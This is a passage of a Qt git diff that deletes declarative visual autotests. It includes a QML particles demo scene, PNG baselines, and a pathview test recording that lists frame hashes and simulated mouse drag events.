msec: 2864 - hash: "625baed6cbf3a58b32060810be53d0b6" - } - Frame { - msec: 2880 - image: "particles.2.png" - } - Frame { - msec: 2896 - hash: "484666ad104cee644c6a7e8ec0c4b10e" - } - Frame { - msec: 2912 - hash: "41abe2e2d92b293407141d0333d7d04a" - } - Frame { - msec: 2928 - hash: "953c03834bd3b50798b77c0c6bb0f4a8" - } - Frame { - msec: 2944 - hash: "a076463868003c62df3ee5147ffd4660" - } - Frame { - msec: 2960 - hash: "b389b5c9ed31816dd562a8f1332d28c9" - } - Frame { - msec: 2976 - hash: "246706829939a2619d64fad63e424fdb" - } - Frame { - msec: 2992 - hash: "d5e644f16bde52c566191a054a1279e5" - } - Frame { - msec: 3008 - hash: "10b2e99d2e08939b75c24a6bbf481858" - } - Frame { - msec: 3024 - hash: "732a7bb0009f394f0039e09594362c75" - } - Frame { - msec: 3040 - hash: "261f38ce42a8a8c86daadd497ecfad07" - } - Frame { - msec: 3056 - hash: "8b66ae6261db386d6c4e88d0146db090" - } - Frame { - msec: 3072 - hash: "dc8dba79e4466059c29725084cf801bb" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeparticles/particles.qml b/tests/auto/declarative/visual/qdeclarativeparticles/particles.qml deleted file mode 100644 index 2d481c9..0000000 --- a/tests/auto/declarative/visual/qdeclarativeparticles/particles.qml +++ /dev/null @@ -1,54 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 640; height: 480; color: "black" - - Particles { id:particlesAnotEmitting - y:60; width: 260; height:30; source: "star.png"; - lifeSpan:1000; count: 50; angle:70; angleDeviation:36; - velocity:30; velocityDeviation:10; emissionRate: 0 - ParticleMotionWander { yvariance:5; xvariance:30; pace:100 } - } - Particles { id:particlesA - y:0; width: 260; height:30; source: "star.png"; - lifeSpan:1000; count: 50; angle:70; angleDeviation:36; - velocity:30; velocityDeviation:10; emissionRate: 10 - ParticleMotionWander { yvariance:5; xvariance:30; pace:100 } - } - - Particles { id:particlesB - y:280; x:180; width:1; height:1; lifeSpan:1000; source: "star.png" - count: 100; angle:270; angleDeviation:45; velocity:50; velocityDeviation:30; - emissionRate: 0 - ParticleMotionGravity { yattractor: 1000; xattractor:0; acceleration:25 } - } - - Timer { running: true; interval: 1000; repeat: true; onTriggered: particlesB.burst(200, 2000); } - - Column{ - x: 340; - Repeater{ - model: 5 - delegate: Component{ - Item{ - width: 100; height: 100 - Rectangle{ - color: "blue" - width: 2; height: 2; - x: 49; y:49; - } - Particles{ - x: 50; y:50; width: 0; height: 0; - fadeInDuration: 0; fadeOutDuration: 0 - lifeSpan: 1000; lifeSpanDeviation:0; - source: "star.png" - count: -1; emissionRate: 120; - emissionVariance: index/2; - velocity: 250; velocityDeviation: 0; - angle: 0; angleDeviation: 0; - } - } - } - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeparticles/star.png b/tests/auto/declarative/visual/qdeclarativeparticles/star.png deleted file mode 100644 index defbde5..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeparticles/star.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.0.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.0.png deleted file mode 100644 index 18c8a9e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.1.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.1.png deleted file mode 100644 index e86acb4..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.2.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.2.png deleted file mode 100644 index 17990b7..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.3.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.3.png deleted file mode 100644 index 18c8a9e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.4.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.4.png deleted file mode 100644 index 18c8a9e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.5.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.5.png deleted file mode 100644 index 8636f8f..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.6.png b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.6.png deleted file mode 100644 index fa7c4b6..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.qml b/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.qml deleted file mode 100644 index b8ff925..0000000 --- a/tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.qml +++ /dev/null @@ -1,2303 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 32 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 48 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 64 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 80 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 96 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 112 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 128 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 144 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 160 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 176 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 192 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 208 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 224 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 240 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 256 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 272 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 288 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 304 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 320 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 336 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 352 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 368 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 384 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 400 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 416 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 432 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 448 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 464 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 480 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 496 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 512 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 528 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 544 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 560 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 576 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 592 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 608 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 624 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 640 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 656 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 672 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 688 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 704 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 720 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 736 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 752 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 768 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 784 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 800 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 816 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 832 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 848 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 864 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 880 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 896 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 912 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 928 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 944 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 960 - image: "test-pathview-2.0.png" - } - Frame { - msec: 976 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 992 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 1008 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 1024 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 1040 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 562; y: 250 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1056 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 557; y: 251 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1072 - hash: "1ed6fa56736cf7cb2f99b5d362974463" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 544; y: 254 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1088 - hash: "24f3dd6c49dd8b19cd0c387409405e18" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 534; y: 258 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1104 - hash: "08c828e7fdfba4252fa7a9fb06eb728e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 511; y: 267 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1120 - hash: "b76110faf8520f52128b5e1af8f2b838" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 499; y: 272 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1136 - hash: "5f56acb5f39ac291cc8e73c0268df214" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 473; y: 281 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1152 - hash: "840ee0c0d8ea94e22e783a15687f979d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 459; y: 285 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1168 - hash: "69827007bbdf5a360ccc34a016315113" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 446; y: 288 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1184 - hash: "2437beb8f9cb39b125611fb186bad820" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 433; y: 290 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 433; y: 290 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1200 - hash: "df07c389b26fc191234c70b97bfaa432" - } - Frame { - msec: 1216 - hash: "8d4e23f4e91d0e0df9d87c3171d5971f" - } - Frame { - msec: 1232 - hash: "dd79837aefeabffa7184be07f2a98969" - } - Frame { - msec: 1248 - hash: "2d9bb2aaf4b882902f090ff0c89053c8" - } - Frame { - msec: 1264 - hash: "b1ec9adbb026d8002a7f16fe9a8d56d2" - } - Frame { - msec: 1280 - hash: "43b23d6e1aeeb36350c3530650e9156f" - } - Frame { - msec: 1296 - hash: "03f231597c4d5010ee71c74217f2483d" - } - Frame { - msec: 1312 - hash: "8607c7412a5a1b4ea1522f28c465a83e" - } - Frame { - msec: 1328 - hash: "671e80e290bec997eb36320ff76fdccf" - } - Frame { - msec: 1344 - hash: "5f6717112bd45e5ebe194e0f87d12be6" - } - Frame { - msec: 1360 - hash: "ca8e33c7a5428d70ae13cb64e5098a48" - } - Frame { - msec: 1376 - hash: "86e60eb395f66bbaa1ec07b3e07013c0" - } - Frame { - msec: 1392 - hash: "342fa6ddc02d0a793e97a79ba8882415" - } - Frame { - msec: 1408 - hash: "a907fbcc47807d4eb6d66e070ea7f2de" - } - Frame { - msec: 1424 - hash: "04838f8b495bed6d050cbe54d00aad31" - } - Frame { - msec: 1440 - hash: "d485534916473ea6c4612230c5a95421" - } - Frame { - msec: 1456 - hash: "1d3da7cc5b9120724645558584f2f0f3" - } - Frame { - msec: 1472 - hash: "c271f057d5f1745e910b2b407c52a4f3" - } - Frame { - msec: 1488 - hash: "050d1814a9ced514db6cfd2732eb76be" - } - Frame { - msec: 1504 - hash: "cfcd21aadfe3fd611caad83920fb2432" - } - Frame { - msec: 1520 - hash: "472f900ef8eef74522da3338ce7fa93e" - } - Frame { - msec: 1536 - hash: "f9d892a81c6ba3b9fc4c6e76082d4fa7" - } - Frame { - msec: 1552 - hash: "a3febe1c3c4585e25a410a91cc34c1fa" - } - Frame { - msec: 1568 - hash: "74cd765c9d9a6fb243070b4a56a07e87" - } - Frame { - msec: 1584 - hash: "469d324abbef017a99bc587bfae622b3" - } - Frame { - msec: 1600 - hash: "6054ff6e658f0a5f5e313f0a724d9610" - } - Frame { - msec: 1616 - hash: "67cee7ebe428c9d35f1f28274f3049d5" - } - Frame { - msec: 1632 - hash: "ce6c3a1dd726eacbba6306e56121beef" - } - Frame { - msec: 1648 - hash: "a7d5f703c98c0c8cd32b189a79e1fd05" - } - Frame { - msec: 1664 - hash: "41cfd9982767ba904843fb73a5a0ed71" - } - Frame { - msec: 1680 - hash: "388dcde17a820800237d1185372d889f" - } - Frame { - msec: 1696 - hash: "3bd72585388f04d55900ccd345cd576e" - } - Frame { - msec: 1712 - hash: "0e5c63b066f2b70000eca7f3aaa3a195" - } - Frame { - msec: 1728 - hash: "15199f3e9f00afc76279b5bbffb78d92" - } - Frame { - msec: 1744 - hash: "596ad681a3b96afbc284e3af5fd173cb" - } - Frame { - msec: 1760 - hash: "e5ae2d0245fc5d74c6ea3f7dddd1ca2a" - } - Frame { - msec: 1776 - hash: "0d152716f9ebe5f0fae3f5cabb20630f" - } - Frame { - msec: 1792 - hash: "74afbfa464b0d19b53432fa4d5ea2804" - } - Frame { - msec: 1808 - hash: "c8aa3f4738a8c07cdf2450a24c885ce6" - } - Frame { - msec: 1824 - hash: "2e4e0003f1b1cb10593075862b972643" - } - Frame { - msec: 1840 - hash: "acea518c7da7330ae78daf5fbfd1a423" - } - Frame { - msec: 1856 - hash: "0b8d4ea6947b522c6aa9a32d9f16723e" - } - Frame { - msec: 1872 - hash: "19f2aef82586817ef574a70865060997" - } - Frame { - msec: 1888 - hash: "115565eb0ba3024dbf15d00ed242c389" - } - Frame { - msec: 1904 - hash: "7e59425c85acf93f5bf55e139c148737" - } - Frame { - msec: 1920 - image: "test-pathview-2.1.png" - } - Frame { - msec: 1936 - hash: "ce96601476cf55f665bef09bb1b038e2" - } - Frame { - msec: 1952 - hash: "dc6eaacefe37fc709ac0bef99110f796" - } - Frame { - msec: 1968 - hash: "82ad9b84425bd8e385524cb052a8fdd4" - } - Frame { - msec: 1984 - hash: "608000b44ade998e225010d5ea562316" - } - Frame { - msec: 2000 - hash: "ec6b4d519b7bafcf5293c2b5e6585007" - } - Frame { - msec: 2016 - hash: "9895792ffa929ba6fc600949f11766b6" - } - Frame { - msec: 2032 - hash: "0d2b27c9ca22520b269f93c90de08df4" - } - Frame { - msec: 2048 - hash: "78a61e4565db709215b419aa56f6efab" - } - Frame { - msec: 2064 - hash: "d6f2aebed062d093c00b27a52f0b14b8" - } - Frame { - msec: 2080 - hash: "21b7a438ad1e835b84e5576e52abbe84" - } - Frame { - msec: 2096 - hash: "703e32f43e9a71b8677d6839a0eafe06" - } - Frame { - msec: 2112 - hash: "b04bea8af558de4120723fc5abd0f36c" - } - Frame { - msec: 2128 - hash: "ac8e91c3b55e058ce8ff08ad6e3af9b6" - } - Frame { - msec: 2144 - hash: "54846c8c70b232d05ff5eaf144f6f7d3" - } - Frame { - msec: 2160 - hash: "52281806f5c80512b4bcab7f61139f74" - } - Frame { - msec: 2176 - hash: "a352657ff34ef8962162c00647df343a" - } - Frame { - msec: 2192 - hash: "3a0b12d1f8bf5cae8ac06289dd30d52a" - } - Frame { - msec: 2208 - hash: "2c6bbcd05719f69b9a67be18de2084a6" - } - Frame { - msec: 2224 - hash: "ab091484522587412b0e8aceeb8987ce" - } - Frame { - msec: 2240 - hash: "13682b0d45bcbad0f011d08899085b1d" - } - Frame { - msec: 2256 - hash: "3c5d6f82eafd1b04edfbcbffbdbe2177" - } - Frame { - msec: 2272 - hash: "151803d70b7c3327df32c8602fcd677a" - } - Frame { - msec: 2288 - hash: "78613cec5364fe3f0df84188793d8eac" - } - Frame { - msec: 2304 - hash: "fc05a3cad43af35230c5ba89f6fd13c5" - } - Frame { - msec: 2320 - hash: "9f826733b300c89eeb80452129505e8b" - } - Frame { - msec: 2336 - hash: "8565efc5c1fb1bdf5629e3bd495bb611" - } - Frame { - msec: 2352 - hash: "3b8f6e8c526ab8cce170277c378a5a69" - } - Frame { - msec: 2368 - hash: "07db3bc0ab19e0ca829e89558bacf1a1" - } - Frame { - msec: 2384 - hash: "ed8843024c6ac28a8c782839b362149c" - } - Frame { - msec: 2400 - hash: "381a9f6564c090613aa2cd0476b95210" - } - Frame { - msec: 2416 - hash: "c3fabd891fa8e27fd71df175db383667" - } - Frame { - msec: 2432 - hash: "9b441792fdaa9ba9d340fc0c6a9c11bd" - } - Frame { - msec: 2448 - hash: "3209c9ba69fa016370e3d56e7e1e37a4" - } - Frame { - msec: 2464 - hash: "34da0a01453fbb2571b370257fd35f8e" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 591; y: 245 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 588; y: 245 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2480 - hash: "32e6204a07c493d0a0f9f50773fe8f32" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 585; y: 245 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2496 - hash: "2a1814768ae500ba9c24bc2e3e4de1d5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 582; y: 245 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2512 - hash: "7cf6e3c52d12d590beafd061979a49cb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 574; y: 245 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 565; y: 246 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2528 - hash: "c66c36642ab7f6c32b45e27de38d23b6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 553; y: 246 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2544 - hash: "6e003380cc6fd303ae3b499863225ba5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 538; y: 246 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2560 - hash: "a790259cea2c247493be58c6018435b9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 523; y: 247 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 523; y: 247 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2576 - hash: "e6cce7468a27b5063821df8dbaa15c18" - } - Frame { - msec: 2592 - hash: "ff8386cbe89aeac184f4a75237ef4a14" - } - Frame { - msec: 2608 - hash: "1a11a90853b025837b991be40efb78f8" - } - Frame { - msec: 2624 - hash: "17da10de7e2d2fcf125207e2873bdee8" - } - Frame { - msec: 2640 - hash: "dfbda435d05903cc3a31f4f8f31e8985" - } - Frame { - msec: 2656 - hash: "1f3753e809099f20c6289f150a096935" - } - Frame { - msec: 2672 - hash: "9454afc9d70103e1f1c00eb0ad2ca534" - } - Frame { - msec: 2688 - hash: "860ab90e2421a0c8faab304915b5e6f2" - } - Frame { - msec: 2704 - hash: "600258507426a8c3c89e3591ee9328f1" - } - Frame { - msec: 2720 - hash: "0795a607b893da2bdc0970195f3039fd" - } - Frame { - msec: 2736 - hash: "e300b9109e242d85537fc3f4461eaf8e" - } - Frame { - msec: 2752 - hash: "dbb84b38e2bda694f210f133dc133180" - } - Frame { - msec: 2768 - hash: "2455e9de47da4db88eef35fea1dc2abe" - } - Frame { - msec: 2784 - hash: "5f0c3d7e089c921a68813a48f0fd8844" - } - Frame { - msec: 2800 - hash: "e6d9e7d0fdc724a6a1804bc94629cab4" - } - Frame { - msec: 2816 - hash: "d177183bcbaa27ad061fd88bd037277d" - } - Frame { - msec: 2832 - hash: "78dd13fa6367abd14374462d89a3d066" - } - Frame { - msec: 2848 - hash: "41d12e4c362ccc99a1a04b3a09f0e68c" - } - Frame { - msec: 2864 - hash: "5112700bf72aacb176e63ef054fce244" - } - Frame { - msec: 2880 - image: "test-pathview-2.2.png" - } - Frame { - msec: 2896 - hash: "0257e67512c62ffc42a272fd304e4ed3" - } - Frame { - msec: 2912 - hash: "42cd0a98aa0f3768cf77aac284072fa9" - } - Frame { - msec: 2928 - hash: "811d27f89b0c434fc49e4280f85c2f27" - } - Frame { - msec: 2944 - hash: "887406c50c666d08e4d98c040efae9a5" - } - Frame { - msec: 2960 - hash: "27e10fa9d82920c7f761465501d44564" - } - Frame { - msec: 2976 - hash: "ba67dbe0010ba2aae3ca100886b11553" - } - Frame { - msec: 2992 - hash: "8064db575e2c74c0faf7782adc527a08" - } - Frame { - msec: 3008 - hash: "b7fd5446ad957610ab853e0c597b9a36" - } - Frame { - msec: 3024 - hash: "092b53eb50e91d74db7899328899cfd3" - } - Frame { - msec: 3040 - hash: "0346065ad603b41db9365987ebe81586" - } - Frame { - msec: 3056 - hash: "705083f27a338fea544c9806f0d8fcb3" - } - Frame { - msec: 3072 - hash: "fc29b4888e26deec4c983e487b9bd058" - } - Frame { - msec: 3088 - hash: "0ff734e0509908eba292c1814f677e5b" - } - Frame { - msec: 3104 - hash: "7181d9011ddd3ad49ee95fac2e146b12" - } - Frame { - msec: 3120 - hash: "4478b07b0331bb30e60f23ee74475f73" - } - Frame { - msec: 3136 - hash: "514aa7a4b1230ae1701004f479eeb5f2" - } - Frame { - msec: 3152 - hash: "56e51f8f36e0f1a5a4b6b21c41151375" - } - Frame { - msec: 3168 - hash: "f58216f12e507a91482ded5372f960c7" - } - Frame { - msec: 3184 - hash: "18e8675ca5ea7ade7e32b29f1632e1ff" - } - Frame { - msec: 3200 - hash: "13ec0166cc7dd82042e596739c598a1e" - } - Frame { - msec: 3216 - hash: "5cebf9afa912b17ac3161619d238e5da" - } - Frame { - msec: 3232 - hash: "f096b191e347b7e2eab51b6adc1a5aac" - } - Frame { - msec: 3248 - hash: "81cffc13a615ab673172912760863c08" - } - Frame { - msec: 3264 - hash: "e89c7acfc07bc0eb6e9740d545400064" - } - Frame { - msec: 3280 - hash: "e681f06f57d43a38acb29a3cb45e4384" - } - Frame { - msec: 3296 - hash: "945bfe7808fb620dc3f7ad887183244c" - } - Frame { - msec: 3312 - hash: "4d1fc53701adce4e4af87c32e6c5a8de" - } - Frame { - msec: 3328 - hash: "c42bbf27e800558fab33bc6e9a0f36b9" - } - Frame { - msec: 3344 - hash: "5f48f59812b17a9be466f0601f0ed0df" - } - Frame { - msec: 3360 - hash: "f3a3f645115077b7aeb66465280b7a16" - } - Frame { - msec: 3376 - hash: "d1c295b2157001ff1020515f4b2aceaa" - } - Frame { - msec: 3392 - hash: "e5f364e0e4bd75dd04280f6b6f48b8ba" - } - Frame { - msec: 3408 - hash: "f439df4b5907ba0201c0dad934115721" - } - Frame { - msec: 3424 - hash: "2e7eb0e999792f3aa87c63865f68d26b" - } - Frame { - msec: 3440 - hash: "45d3ccb3b03adc8323445207d2dca502" - } - Frame { - msec: 3456 - hash: "c345f92a25406e33256bfe47dc7f72f3" - } - Frame { - msec: 3472 - hash: "dcb2663d27d644c0b50aa7386aa9d488" - } - Frame { - msec: 3488 - hash: "ebe4b9eaf39676bcdd968f8517efa222" - } - Frame { - msec: 3504 - hash: "deb3e3e6fdf8fe18de907f88822538e8" - } - Frame { - msec: 3520 - hash: "30e8ab0e6cf32a45190c4b29e458d858" - } - Frame { - msec: 3536 - hash: "059e6f57c2c78a25ab8b515c878231f9" - } - Frame { - msec: 3552 - hash: "fa7621f338ae187edac5cb69b22e64b3" - } - Frame { - msec: 3568 - hash: "bf287cbb0963fc8e575cd95808e1983d" - } - Frame { - msec: 3584 - hash: "741dc09e0ae13d6afbdaae701cb699ef" - } - Frame { - msec: 3600 - hash: "8dd52007df5585aed4b9737a8314a74d" - } - Frame { - msec: 3616 - hash: "ddcd945a3a4467d8dd0b7a4197aafed5" - } - Frame { - msec: 3632 - hash: "015deb5f228fa2f77978315ccca4f4c8" - } - Frame { - msec: 3648 - hash: "e1c960e966873e694837fd98f231cfcb" - } - Frame { - msec: 3664 - hash: "17a177d37b427d9488e36d19b345a397" - } - Frame { - msec: 3680 - hash: "d4aded08d04f79d50536ecf539c0583d" - } - Frame { - msec: 3696 - hash: "72890e9b84acf9df6083e23ab9270da1" - } - Frame { - msec: 3712 - hash: "313859115de570f8d41f67c4db7cf49e" - } - Frame { - msec: 3728 - hash: "98918d73b6d6b375db53470dd72c7b35" - } - Frame { - msec: 3744 - hash: "ff706517a4d257747893c11a3b059926" - } - Frame { - msec: 3760 - hash: "73e62664a31232c1a349568c8da6ce64" - } - Frame { - msec: 3776 - hash: "bed046c6eae90d267e859cd76d3eacfb" - } - Frame { - msec: 3792 - hash: "4643348fc1b47f0d3244e7e717247953" - } - Frame { - msec: 3808 - hash: "0305bfc35b5618da19e9eabb3c1b5d2b" - } - Frame { - msec: 3824 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3840 - image: "test-pathview-2.3.png" - } - Frame { - msec: 3856 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3872 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3888 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3904 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3920 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3936 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3952 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3968 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 3984 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4000 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Frame { - msec: 4016 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 305; y: 280 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4032 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 305; y: 281 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4048 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 306; y: 281 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4064 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 308; y: 281 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4080 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 310; y: 282 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4096 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 313; y: 283 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 317; y: 283 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4112 - hash: "754f9689239e6154a762a6a1e9e0131b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 